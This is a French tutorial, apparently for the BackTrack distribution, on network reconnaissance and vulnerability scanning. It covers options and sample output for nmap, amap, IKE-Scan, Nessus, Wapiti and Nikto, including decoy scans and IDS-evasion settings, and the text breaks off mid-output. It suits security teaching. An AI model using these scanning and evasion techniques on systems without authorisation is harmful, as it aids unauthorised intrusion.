SécuritéRéseauetI..
Transcription
SécuritéRéseauetI..
BT COLLECTE D'INFORMATIONS Introduction sur la potentialité des informations d’un réseau #DNS Walk DNS-Walk est un debugger DNS. Usage dnswalk domain domain MUST end with a '.' #whois Lors d'un audit la premiere chose à faire est la recolte d'information aussi bien humaine que technique, en l'occurence WHOIS permet de recuperer ces 2 types d'informations et principalement des informations concernant le possesseur du nom de domaine. Premiers pas vers la collecte d'information. Le whois est incontournable. Il interroge les serveurs publics dédiés aux renseignements de nom de domaine et ip. Il affichera les informations de son propriétaire(si présentes). Le site officiel pour les whois sur les domaines en .fr Usage whois [OPTION]... OBJECT... Options -l one level less specific lookup [RPSL only] -L find all Less specific matches -m find first level more specific matches -M find all More specific matches -c find the smallest match containing a mnt-irt attribute -x exact match [RPSL only] -d return DNS reverse delegation objects too [RPSL only] -i ATTR[,ATTR]... do an inverse lookup for specified ATTRibutes -T TYPE[,TYPE]... only look for objects of TYPE -K only primary keys are returned [RPSL only] -r turn off recursive lookups for contact information -R force to show local copy of the domain object even if it contains referral -a search all databases -s SOURCE[,SOURCE]... search the database from SOURCE -g SOURCE:FIRST-LAST find updates from SOURCE from serial FIRST to LAST -t TYPE request template for object of TYPE ('all' for a list) -v TYPE request verbose template for object of TYPE -q [version|sources|types] query specified server info [RPSL only] -F fast raw output (implies -r) -h HOST spécifier l'host du serveur -p PORT spécifier le port du serveur -H masque les informations relatives aux législations --verbose mode bavardage --help affiche ce menu d'aide et quitte --version affiche les informations de version et quitte CARTOGRAPHIE RÉSEAU Introduction aux réseaux informatiques #Autoscan Autoscan est un explorateur réseau conçu par Thierry Lagarde. Il permet de lancer une série de scan à travers le réseau, pour trouver tout matériel (routeur, parefeu...), et toutes machines connectées. Ses principales caractéristiques sont de reconnaître les systèmes d'exploitation de ses hôtes, ainsi qu'une série d'informations intéressantes (Ports ouverts, nom de la machine, détection de ressources partagées,...). Les droits d'administrateur ne sont pas nécessaires, de plus Autoscan peut émuler un client telnet, et nessus. version incluse dans BT3f : 1.26 Mode Alerte Intrusion Cette fonctionnalité est à activer sur la fenêtre principale. Autoscan scannera et enregistrera tous les équipements qui seront trouvés (ordinateur, matériel réseau...etc). Ce sera votre équipement de base, ainsi dans le futur lorsqu'un nouvel équipement sera trouvé, vous serez alerté d'une intrusion. L'idée est simple mais efficace. #Netdiscover Cet outil permet de lister l'ensemble des ordinateurs en ligne, connectés sur le réseau lan. Il procède par deux types d'écoute, l'une passive(il n'envoit aucun paquet, il analyse ce qu'il reçoit des autres), l'autre active (envoit de requêtes arp). Très utilisé pour les réseaux sans dhcp. Version actuelle : 0.3 beta 6 #Nmap Nmap est sans doute le scanner de sécurité le plus connu au monde. Il détecte les ports ouverts avec une rapidité impressionnante. De plus, il est composé d'une panoplie d'options permettant à tout utilisateur d'obtenir le maximum d'informations (Informations de service, version, OS, ...). Il met donc en œuvre plusieurs types de scans (TCP, UDP, ICMP...) que l'on peut coupler à différentes techniques : IDLE Host Scanning. Spoofing (adresse IP et MAC). Port scanning (mode récursif, aléatoirement, choisis dans une liste et/ou déterminés). Fingerprinting (prise d'empreinte de pile système active et passive, service discovering). ... Il est décrit comme : flexible, puissant, portable, simple, libre, bien documenté, soutenu par une communauté, reconnu par les professionnels, et enfin populaire ! Usage nmap [Scan Type(s)] [Options] {target specification} Options Spécifier la(les) cible(s) Accepte les noms d'hôtes, les adresses IPs, les réseaux, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL <inputfilename>: Lire les noms d'hôtes et de réseaux depuis le fichier spécifié -iR <num hosts>: Définir les cibles aléatoirement --exclude <host1[,host2][,host3],...>: Exclure des hosts et/ou des réseaux --excludefile <exclude_file>: Liste d'exclusion depuis le fichier spécifié Découverte de l'host -sL: List Scan - liste simplement les cibles scannées -sP: Ping Scan - go no further than determining if host is online -P0: Partir du principe que tous les hôtes sont connecté au réseau -- ne pas vérifier leur présence -PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -n/-R: ne jamais utiliser la résolution d'adresse IP DNS/toujour utiliser la résolution d'adresse IP DNS [par défaut: parfois] --dns-servers <serv1[,serv2],...>: Spécifier des serveurs DNS --system-dns: Utiliser le résolveur de système d'exploitations par DNS (OS's DNS resolver) Techniques de scan -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans -sU: Scan UDP -sN/sF/sX: TCP Null, FIN, and Xmas scans --scanflags <flags>: Customize TCP scan flags -sI <zombie host[:probeport]>: Idlescan -sO: IP protocol scan -b <ftp relay host>: FTP bounce scan Spécifier le port -p <port ranges>: Scanner seulement les ports spécifiés Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080 -F: Fast - Scanner uniquement les ports listés dans le fichier nmap-services -r: Scanner consécutivement les ports - pas aléatoirement Types de détection des services et versions -sV: Examine les ports scannés pour déterminer les services (et leur version) potentiellement présents --version-intensity <level>: Set from 0 (light) to 9 (try all probes) --version-light: Limit to most likely probes (intensity 2) --version-all: Try every single probe (intensity 9) --version-trace: Afficher la version détaillée de l'action du scan (option pour debugger) Détection d'OS -O: Activer la détection de systèmes d'exploitations (try 2nd generation w/fallback to 1st) -O2: Utiliser seulement la nouvelle (2ème version) méthode de détection (no fallback) -O1: Utiliser seulement la vielle (1ère version) méthode de détection --osscan-limit: Limit OS detection to promising targets --osscan-guess: Guess OS more aggressively Synchronisations et perfomances Options which take <time> are in milliseconds, unless you append 's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m). -T[0-5]: Set timing template (higher is faster) --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes --min-parallelism/max-parallelism <time>: Probe parallelization --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies probe round trip time. --max-retries <tries>: Caps number of port scan probe retransmissions. --host-timeout <time>: Give up on target after this long --scan-delay/--max-scan-delay <time>: Adjust delay between probes Spoofing et contournement d'IDS/Parefeu -f; --mtu <val>: fragment packets (optionally w/given MTU) -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys -S <IP_Address>: Spoofer l'adresse source -e <iface>: Utilier l'interface réseau à utiliser -g/--source-port <portnum>: Use given port number --data-length <num>: Append random data to sent packets --ip-options <options>: envois les packets réseaux avec les options IP spécifiées --ttl <val>: Définir le champs TTL (Time To Live) --spoof-mac <mac address/prefix/vendor name>: Spoofer votre adresse MAC --badsum: Envoyer les packets réseaux avec une checksum TCP/UDP buggé Informations de sortie -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename. -oA <basename>: Output in the three major formats at once -v: Augmenter la précision des informations (peut-être utiliser deux fois pour plus d'effet) -d[level]: Définir le niveau de précision des information de débuggage (maximum à 9) --open: Afficher seulement les ports potentiellement ouverts --packet-trace: Afficher tous les packets réseau envoyés et reçus --iflist: Print host interfaces and routes (for debugging) --log-errors: Enregistrer les messages d'erreurs et d'avertissements dans le format normal de sortie de fichier --append-output: Append to rather than clobber specified output files --resume <filename>: Reprendre un scan intérompu --stylesheet <path/URL>: Spécifier une feuille de style XSL pour transformer la sortie XML en HTML --webxml: Reference stylesheet from Insecure.Org for more portable XML --no-stylesheet: Prevent associating of XSL stylesheet w/XML output Divers -6: Activer le mode IPv6 -A: Activer la détection de systèmes d'exploitation et de leur version --datadir <dirname>: Specify custom Nmap data file location --send-eth/--send-ip: Send using raw ethernet frames or IP packets --privileged: Partir du principe que l'utilisateur à tous les privillèges --unprivileged: Assume the user lacks raw socket privileges -V: Afficher le numéro de version -h: Afficher cette page d'aide Exemples Lister simplement les hôtes en ligne sur la plage 1-254 d'une adresse ip de classe C (192.168.1.xxx) : bt ~ # nmap -n -sP 192.168.1.1-254 Starting Nmap 4.50 ( http://insecure.org ) at 2008-03-01 03:35 GMT Host 192.168.1.1 appears to be up. MAC Address: 00:19:4B:12:33:AC (Sagem Communication) Host 192.168.1.11 appears to be up. MAC Address: 00:12:BF:AF:23:04 (Intel Corporate) Nmap done: 254 IP addresses (2 hosts up) scanned in 6.240 seconds Proposer un fichier xml en sortie (Interressant pour des rapports de scan), en activant la détection de l'OS(-0), tout en forcant la présence de l'hôte(-P0), celà au travers d'un scan banal(déconseillé si vous voulez être furtif!) : bt ~ # nmap -n -0 -P0 192.168.1.11 -oX rscan-11.xml L'attaque par decoys(ou leurres) génére de faux paquets, afin de tromper la cible sur la provenance du scan. Celà permet de se noyer dans la masse, et de surcharger la cible de log. Les IP qui serviront de leurres sont suivis de l'option -D, la cible du scan est ici 192.168.1.11 : bt ~ # nmap -n -D192.168.1.10,192.168.1.59 192.168.1.11 Scan de type OS et services de détection: bt ~ # nmap -vv -A 127.0.0.1 Starting Nmap 4.20 ( http://insecure.org ) at 2007-08-03 02:25 CEST Initiating SYN Stealth Scan at 02:25 Scanning bt.example.net (127.0.0.1) [1697 ports] Discovered open port 25/tcp on 127.0.0.1 Discovered open port 113/tcp on 127.0.0.1 Discovered open port 631/tcp on 127.0.0.1 Discovered open port 6000/tcp on 127.0.0.1 Discovered open port 37/tcp on 127.0.0.1 Discovered open port 587/tcp on 127.0.0.1 Completed SYN Stealth Scan at 02:25, 0.08s elapsed (1697 total ports) Initiating Service scan at 02:25 Scanning 6 services on bt.example.net (127.0.0.1) Completed Service scan at 02:25, 6.01s elapsed (6 services on 1 host) Initiating OS detection (try #1) against bt.example.net (127.0.0.1) Host bt.example.net (127.0.0.1) appears to be up ... good. Interesting ports on bt.example.net (127.0.0.1): Not shown: 1691 closed ports PORT STATE SERVICE VERSION 25/tcp open smtp Sendmail 8.13.8/8.13.8 37/tcp open time (32 bits) 113/tcp open ident OpenBSD identd 587/tcp open smtp Sendmail 8.13.8/8.13.8 631/tcp open ipp CUPS 1.1 6000/tcp open X11 (access denied) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.17-10.33 (Ubuntu) OS Fingerprint: OS:SCAN(V=4.20%D=8/3%OT=25%CT=1%CU=32915%PV=N%DS=0%G=Y%TM=46B27600%P=i686-p OS:c-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CD%TI=Z%II=I%TS=8)OPS(O1=M400CST11NW2%O2 OS:=M400CST11NW2%O3=M400CNNT11NW2%O4=M400CST11NW2%O5=M400CST11NW2%O6=M400CS OS:T11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000)ECN(R=Y%DF=Y%T=4 OS:0%W=8018%O=M400CNNSNW2%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2 OS:(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS%O=M400CST11NW2%RD=0%Q=)T4(R=Y OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40 OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL= OS:G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DL OS:I=S) Uptime: 0.823 days (since Thu Aug 2 06:40:57 2007) Network Distance: 0 hops TCP Sequence Prediction: Difficulty=205 (Good luck!) IPID Sequence Generation: All zeros Service Info: OSs: Unix, OpenBSD OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 7.481 seconds Raw packets sent: 1716 (76.266KB) | Rcvd: 3441 (145.712KB) Utilisation de la sortie grepable pour afficher uniquement les IP avec le port défini ouvert: bt ~ # nmap -p80 -oG - 10.0.0.0/24 | awk '/open/{print $2}' 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4 10.0.0.10 10.0.0.12 #Arp Arp manipule ou affiche le cache du voisinage réseau IPV4 du kernel. Il peut ajouter des entrées à la table, en supprimer ou en afficher le contenu actuel. Il pourra être utile pour détecter un ARP Poisoning, en observant deux adresses MAC identiques pointant vers deux IP différentes. Usage arp [-vn] [<HW>] [-i <if>] [-a] [<hostname>] <-Display ARP cache arp [-v] [-i <if>] -d <host> [pub] <-Delete ARP entry arp [-vnD] [<HW>] [-i <if>] -f [<filename>] <-Add entry from file arp [-v] [<HW>] [-i <if>] -s <host> <hwaddr> [temp] <-Add entry arp [-v] [<HW>] [-i <if>] -Ds <host> <if> [netmask <nm>] pub <-Options -a afficher tous les hosts dans le mode alternatif BSD -s, --set déclarer une nouvelle entrée ARP -d, --delete effacer l'entrée spécifiée -v, --verbose mode bavard -n, --numeric ne pas résoudre les noms d'hôtes -i, --device spécifier l'interface réseau à utiliser (ex: eth0) -D, --use-device read <hwaddr> from given device -A, -p, --protocol spécifier la famille du protocole -f, --file lire de nouvelles entrées dans le fichier spécifié ou depuis /etc/ethers <HW>=Use '-H <hw>' to specify hardware address type. Default: ether List of possible hardware types (which support ARP): strip (Metricom Starmode IP) ether (Ethernet) tr (16/4 Mbps Token Ring) tr (16/4 Mbps Token Ring (New)) ax25 (AMPR AX.25) netrom (AMPR NET/ROM) arcnet (ARCnet) dlci (Frame Relay DLCI) irda (IrLAP) x25 (generic X.25) Exemple bt ~ # arp Address HWtype HWaddress Flags Mask Iface 192.168.0.254 ether 00:07:CB:49:EA:80 C eth1 #Nslookup Nslookup est un programme permettant de connaître l'adresse IP attribué à un nom d'hôte (et inversement). Exemples bt ~ # nslookup www.w3c.org Server: 212.27.54.252 Address: 212.27.54.252#53 Non-authoritative answer: www.w3c.org canonical name = www.w3.org. Name: www.w3.org Address: 128.30.52.45 Name: www.w3.org Address: 128.30.52.53 Name: www.w3.org Address: 128.30.52.31 Name: www.w3.org Address: 193.51.208.69 Name: www.w3.org Address: 128.30.52.54 Name: www.w3.org Address: 128.30.52.52 Name: www.w3.org Address: 128.30.52.46 Name: www.w3.org Address: 128.30.52.47 bt ~ # nslookup 127.0.0.1 Server: 212.27.54.252 Address: 212.27.54.252#53 Non-authoritative answer: 1.0.0.127.in-addr.arpa name = localhost. Authoritative answers can be found from: #Ping Ping est un utilitaire réseau qui fonctionne avec le protocole ICMP. Il envoie une requête ICMP de type 8 (echo request) à l'adresse IP ou l'host lui étant spécifié. Si la machine est présente, elle répondra par une requête ICMP de type 0 (echo reply). Dans le cas contraire, un message d'erreur s'affichera "Destination Host Unreachable" (Host inaccessible). On l'utilise le plus souvent pour vérifier la présence d'une machine sur le réseau. Usage & Options ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination Exemples bt ~ # ping -c 2 -i 0.5 -s 512 -t 64 192.168.0.254 PING 192.168.0.254 (192.168.0.254) 512(540) bytes of data. 520 bytes from 192.168.0.254: icmp_seq=1 ttl=64 time=0.916 ms 520 bytes from 192.168.0.254: icmp_seq=2 ttl=64 time=0.889 ms --- 192.168.0.254 ping statistics --2 packets transmitted, 2 received, 0% packet loss, time 500ms rtt min/avg/max/mdev = 0.889/0.902/0.916/0.032 ms bt ~ # ping -c 4 -i 1 -s 256 -t 128 www.google.com PING www.l.google.com (64.233.183.104) 256(284) bytes of data. 64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=1 ttl=242 (truncated) 64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=2 ttl=242 (truncated) 64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=3 ttl=242 (truncated) 64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=4 ttl=242 (truncated) --- www.l.google.com ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 3001ms rtt min/avg/max/mdev = 73.779/73.903/74.036/0.298 ms bt ~ # ping -c 1 -i 0.5 -s 128 -t 64 192.168.0.13 PING 192.168.0.13 (192.168.0.13) 128(156) bytes of data. From 192.168.0.1 icmp_seq=1 Destination Host Unreachable --- 192.168.0.13 ping statistics --1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms #Scanpbnj PBNJ est une suite d'outils pour surveiller des changements intervenus sur un réseau. Il fait ceci par vérification de changements sur la machine cible, ce qui inclut les détails sur des services fonctionnant comme pour l'état de service. PBNJ analyse les données d'un scan et les stocke dans une base de données. PBNJ emploie Nmap pour exécuter les scans. Outils ScanPBNJ.1 - est un programme pour lancer des scans Nmap et sauvegarder les résultat dans une base de donnéee PBNJ 2.0. OutputPBNJ.1 - est un programme pour interroger une base de donnée PBNJ 2.0. Genlist.1 - est un scanner de ping. Utilisation Que peut faire PBNJ pour moi ? Cela dépend de ce dont vous avez besoin, PBNJ peut faire diverses choses. Il peut donner un plan d'un réseau de classe. Il peut également être lancé comme outil de scan automatisé analysant les données de dossiers au format CSV et créant une vue détaillée d'un réseau avec le temps. * Scans Interne/Externe automatisé * Système d'Interrogation/Alerte flexible * Résultats d'analyse Nmap XML * Accès facile aux donnés de la base de données Nmap ( SQLite, MySQL or Postgres) * Consoles et moteurs de scans distribués Exemple d'utilisation #scanpbnj localhost -------------------------------------Starting Scan of 127.0.0.1 Inserting Machine Inserting Service on 25:tcp smtp Inserting Service on 80:tcp http Scan Complete for 127.0.0.1 -------------------------------------On arrête apache # scanpbnj localhost -------------------------------------Starting Scan of 127.0.0.1 Machine is already in the database Checking Current Services = smtp:25 is (4.68) Exim smtpd ! Service 80:tcp http is down Scan Complete for 127.0.0.1 -------------------------------------#Scan VPN Scan de vulnérabilités VPN IPsec Outils : IKEProbe, IKE-Scan (les deux outils sont complémentaires). #IKEProbe C'est un outils servant à la détection de vulnérabilités : pour vérifier qu'un système est vulnérable ou non. La commande est simple : il suffit de le lancer en ligne de commande, avec comme options l'adresse IP du serveur à analyser. Celui-ci va effectuer une série de tests pour voir si le serveur supporte ou non le mode "agressif" d'une connexion VPN : en effet, ce logiciel exploite une faille inhérente au protocole ISAKMP. Si le système est vulnérable alors celui-ci va le signaler. Cependant, celui-ci est avant tout développé pour Microsoft Windows : ne pas oublier le mot "wine" devant la ligne de commande. Exemple Prenons la commande suivante : wine ikeprobe.exe 192.168.1.1 Cet exemple va scanner l'IP 192.168.1.1 et chercher à le placer sous le mode agressif, si à un moment ou un autre, celui-ci découvre une réponse d'un mode agressif, il avertit l'utilisateur et quitte. #IKE-Scan Ce logiciel sert à initialiser une connexion VPN over IPsec. Il est en outre, capable de se connecter en mode agressif, si le serveur l'autorise. La syntaxe ressemble à celle d'IKEProbe, mais avec quelque options de plus comme : le moyen de se connecter en mode agressif ; celui d'enregistrer le handshake dans un fichier ; de spécifier le port source et de destination ; de spécifier le groupe de Diffie Hellman ; l'identité de l'utilisateur qui souhaite se connecter. Ce logiciel est de plus capable d'effectuer un "fingerprinting" du système hôte : très pratique pour repérer d'autre failles éventuelles. Petit truc à savoir Par défaut, les PIX laissent le mode agressif activé par défaut. #Amap AMap est un scanner de protocole crée par le groupe THC. Il permet de retrouver le service en écoute sur un port "non standard" en utilisant entre autre le grab de bannière. Utilisation #amap [Mode(s)] [Option(s)] Cible Port(s) Modes -A Map applications: send triggers and analyse responses (default) -B Just grab banners, do not send triggers -P No banner or application stuff - be a (full connect) port scanner -W Web Update - online update the application fingerprint database! Options -1 Only send triggers to a port until 1st identification. Speeeeed! -6 Use IPv6 instead of IPv4 -b Print ascii banner of responses -i FILE Nmap machine readable outputfile to read ports from -u Ports specified on commandline are UDP (default is TCP) -R / -S Do NOT identify RPC / SSL services -H Do NOT send application triggers marked as potentially harmful -U Do NOT dump unrecognised responses (better for scripting) -d Dump all responses -v Verbose mode, use twice (or more!) for debug (not recommended :-) -q Do not report closed ports, and do not print them as unidentified -o FILE [-m] Write output to file FILE, -m creates machine readable output -c CONS Amount of parallel connections to make (default 32, max 256) -C RETRIES Number of reconnects on connect timeouts (see -T) (default 3) -T SEC Connect timeout on connection attempts in seconds (default 5) -t SEC Response wait timeout in seconds (default 5) p PROTO Only send triggers for this protocol (e.g. ftp) TARGET PORT The target address and port(s) to scan (additional to -i) Exemples Syntaxe basique bt ~ # amap 10.69.69.69 80 bt ~ # amap 10.69.69.69 21 25 80 110 bt ~ # amap 10.69.69.69 0-1024 Utilisation d'une sortie d'NMap bt ~ # nmap -T5 -oM scan 10.69.69.69 Starting Nmap 4.60 ( http://nmap.org ) at 2008-07-22 14:39 GMT Interesting ports on cible (10.69.69.69): Not shown: 1708 filtered ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 110/tcp open pop3 113/tcp closed auth 222/tcp open rsh-spx 399/tcp open sapeps Nmap done: 1 IP address (1 host up) scanned in 26.353 seconds bt ~ # amap -i scan 10.69.69.69 amap v5.2 (www.thc.org/thc-amap) started at 2008-07-22 14:46:52 - MAPPING mode Unrecognized response from 10.69.69.69:21/tcp (by trigger ms-ds) received. Please send this output and the name of the application to [email protected]: 0000: 3232 302d 4669 6c65 5a69 6c6c 6120 5365 [ 220-FileZilla Se ] 0010: 7276 6572 2076 6572 7369 6f6e 2030 2e39 [ rver version 0.9 ] 0020: 2e32 3220 6265 7461 2056 6572 7369 6f6e [ .22 beta Version ] 0030: 2046 696c 655a 696c 6c61 2053 6572 7665 [ FileZilla Serve ] 0040: 720d 0a [ r.. ] Protocol on 10.69.69.69:25/tcp matches smtp Protocol on 10.69.69.69:110/tcp matches pop3 Protocol on 10.69.69.69:222/tcp matches ssh Protocol on 10.69.69.69:222/tcp matches ssh-openssh Protocol on 10.69.69.69:80/tcp matches http-apache-2 Protocol on 10.69.69.69:80/tcp matches http Protocol on 10.69.69.69:3399/tcp matches ms-remote-desktop-protocol Protocol on 10.69.69.69:21/tcp matches ftp Protocol on 10.69.69.69:80/tcp matches webmin Unidentified ports: none. amap v5.2 finished at 2008-07-22 14:47:07 IDENTIFICATION DE VULNÉRABILITÉ Scanner de sécurité #VulnScan : NESSUS Traduit de l'anglais d'après le site officiel : Le scanner de vulnérabilités Nessus est le leader mondial des scanners actifs, et propose une découverte très rapide, un audit de configuration, le profil des ressources, la découverte de données sensibles et l'analyse des failles de votre poste. Les scanners Nessus peuvent être déployés à travers un réseau d'entreprise, au cœur des DMZ, et à cheval sur plusieurs réseaux séparés physiquement. Nessus fournit les types suivants d'audits de sécurité : scan de ports authentifiés ou non : scan des failles de sécurité au niveau du réseau : audit des correctifs pour Windows et pour la plupart des plateformes UNIX (demande une authentification) ; audit des configurations pour Windows et pour la plupart des plateformes UNIX (demande une authentification) ; test robuste et complet de la sécurité (demande une authentification) pour des logiciels tierce partie tels que iTunes, JAVA, Skype ou Firefox ; test des failles pour des applications personnalisées ou en mode web ; audit de configuration de bases de données SQL ; liste des logiciels sur UNIX et Windows ; test des anti-virus et recherche de signatures obsolètes et d'erreurs de configuration. Nessus peut aussi être utilisé pour des scans had-hoc, des scans quotidiens, et des audits rapides. Nessus est un logiciel propriétaire. Lancer Nessus #nessusd -D #nessus Note: Invoquer (#/usr/local/sbin/nessus-update-plugins) régulièrement pour mettre à jour vos plugins. Analyseur de Site Web #Wapiti Wapiti, outil écrit en Python, permet d'auditer des applications web via le protocole HTTP. Ce dernier s'attaque au front-office (l'interface du site) afin d'y déceler des vulnérabilités inhérentes aux langages dynamiques. Parmi la multitude de scanner existant, celui-ci propose une étude relativement complète. Ainsi, parmi les failles les plus communes, on peut citer des vulnérabilités de type SQL (Langages communiquant avec les bases de données : JSP, PHP, ASP...), de type XSS ( Injection de code javascript), et également d'autres vulnérabilités, telles que l'inclusion de fichier, l'exécution de commandes. Version actuel : 1.1.5 Usage python wapiti.py http://server.com/base/url/ [options] Options d'utilisation -s <url> --start <url> Démarrer le scan avec l'url <url> -x <url> --exclude <url> Pour exclure certaines url du scan (par exemple les scripts de déconnection) On peut aussi utiliser un caractère générique (wildcard) comme ' Exemple : -x "http://server/base/?page=*&module=test" ou -x http://server/base/admin/* pour exclure le répertoire -p <url_proxy> --proxy <url_proxy> Spécifier un proxy Exemple: -p http://proxy:port/ -c <cookie_file> --cookie <cookie_file> Pour utiliser un cookie -t <timeout> --timeout <timeout> Pour fixer un timeout (en seconde),très utile selon le temps de réponse du proxy. -a <login%password> --auth <login%password> Règle le login et le password pour une authentification HTTP Ne fonctionne pas avec Python 2.4 -r <parameter_name> --remove <parameter_name> Efface un paramètre des URLs -m <module> --module <module> Définit un jeu d'options de scan et d'attaque précis. GET_ALL: utilise seulement les requêtes GET (pas POST) GET_XSS: utilise seulement les attaques XSS avec la méthode GET POST_XSS: utilise seulement les attaques XSS avec la méthode POST -u --underline Mettre en couleur les paramètres vulnérabilité dans la sortie -v <level> --verbose <level> Règle le nombre d'information à afficher dans la sortie. 0: silencieux (default), 1: Afficher chaque url, 2: afficher toutes les attaques #Nikto Nikto est un scanner de vulnérabilité web Open Source (GPL) qui effectue des tests complets contre les serveurs Web. Il teste plus de 3500 fichiers potentiellement dangereux / CGI. Nikto n'est pas conçu comme un outil trop furtif. Il permet de tester un serveur web rapidement mais il est facilement repérable dans les logs. Il peut quand même être bien utile pour tester la sécurité de son serveur web. Usage bt nikto # ./nikto.pl -e -host Options d'utilisation Options: -config+ use this config file -Cgidirs+ scan these CGI dirs: 'none', 'all', or values like "/cgi/ /cgi-a/" -Display+ turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug Output V Verbose Output -dbcheck check database and other key files for syntax errors (cannot be abbreviated) -evasion+ ids evasion technique: 1 Random URI encoding (non-UTF8) 2 Directory self-reference (/./) 3 Premature URL ending 4 Prepend long random string 5 Fake parameter 6 TAB as request spacer 7 Change the case of the URL 8 Use Windows directory separator (\) -findonly find http(s) ports only, don't perform a full scan -Format+ save file (-o) format: htm HTML Format csv Comma-separated-value txt Plain text (default if not specified) -host+ target host -Help Extended help information -id+ host authentication to use, format is userid:password -mutate+ Guess additional file names: 1 Test all files with all root directories 2 Guess for password file names 3 Enumerate user names via Apache (/~user type requests) 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) -nolookup skip name lookup -output+ write output to this file -port+ port to use (default 80) -Pause+ pause between tests (seconds) -root+ prepend root value to all requests, format is /directory -ssl force ssl mode on port -Single Single request mode -timeout+ timeout (default 2 seconds) -Tuning+ scan tuning: 0 File Upload 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection a Authentication Bypass b Software Identification c Remote Source Inclusion x Reverse Tuning Options (i.e., include all except specified) -useproxy use the proxy defined in config.txt -update update databases and plugins from cirt.net (cannot be abbreviated) -Version print plugin and database versions -vhost+ virtual host (for Host header) + requires a value Configuration Le fichier de configuration se trouve dans le répertoire courant (/pentest/scanners/nikto ) et se nomme config.txt : ######################################################################################################### # CONFIG STUFF ######################################################################################################### # default command line options, can't be an option that requires a value. used for ALL runs. # CLIOPTS=-g -a # location of nmap to use with port scanning (rather than Nikto internals) # and any options to pass to it NMAP=/usr/local/bin/nmap NMAPOPTS=-P0 # ports never to scan SKIPPORTS=21 111 # IDs never to alert on (Note: this only works for IDs loaded from db_tests) SKIPIDS=000703 # if Nikto is having difficulty finding the 'plugins', set the full install path here # EXECDIR=/usr/local/nikto # the default HTTP version to try... can/will be changed as necessary DEFAULTHTTPVER=1.0 # Nikto can submit updated version strings to CIRT.net. It won't do this w/o permission. You should # send updates because it makes the data better for everyone ;) *NO* server specific information # such as IP or name is sent, just the relevant version information. # UPDATES=yes #-- ask before each submission if it should send # UPDATES=no #-- don't ask, don't send # UPDATES=auto #-- automatically attempt submission *without prompting* UPDATES=yes # Warning if MAX_WARN OK or MOVED responses are retrieved MAX_WARN=20 # Prompt... if set to 'no' you'll never be asked for anything. Good for automation. #PROMPTS=no # cirt.net : set the IP so that updates can work without name resolution CIRT=209.172.49.178 ######################################################################################################### # PROXY STUFF ######################################################################################################### #PROXYHOST=127.0.0.1 #PROXYPORT=8080 #PROXYUSER=proxyuserid #PROXYPASS=proxypassword ######################################################################################################### # COOKIE STUFF ######################################################################################################### # send a cookie with all requests, helpful if auth cookie is needed #STATIC-COOKIE=cookiename=cookievalue CLIOPTS permet de fixer des options de scan, vous pouvez donc scanner a votre facon (exemple -g) en decommentant la ligne et en enlevant le -a final. NMAP vous permet d'utiliser nmap. NMAPOPTS vous permet de specifier les options de nmap. SKIPPORTS permet d'eviter de scanner certains ports. SKIPIDS DEFAULTHTTPVER permet le choix de la version HTTP. PROXY STUFF permet de passer par un proxy en decommentant les lignes. COOKIE STUFF permet d'envoyer un cookie à toutes les requêtes si nécessaire Exemple d'utilisation perl nikto.pl -h 192.168.0.1 Pour tester un port specifique, utiliser l'option -p (-port). Ceci va scanner l'IP 192.168.0.1 sur le port TCP 443: perl nikto.pl -h 192.168.0.1 -p 443 Il n'y a pas besoin de specifier que le port 443 pourrait etre SSL, Nikto va d'abord tester le HTTP et si ça ne marche pas ensuite le HTTPS. Si vous êtes sur qu'il s'agit s'un server SSL, vous pouvez spécifier l'option -s (-ssl), ca accelerera la vitesse du test. Multiple Port Testing perl nikto.pl -h 192.168.0.1 -p 80,88,443 Exemple concret bt nikto # ./nikto.pl -e 1 -host hxxp://192.168.1.44/joomla12 -F txt -o monfile.txt --------------------------------------------------------------------------- Nikto 2.01/2.01 - cirt.net + Target IP: 192.168.1.44 + Target Hostname: joomla12 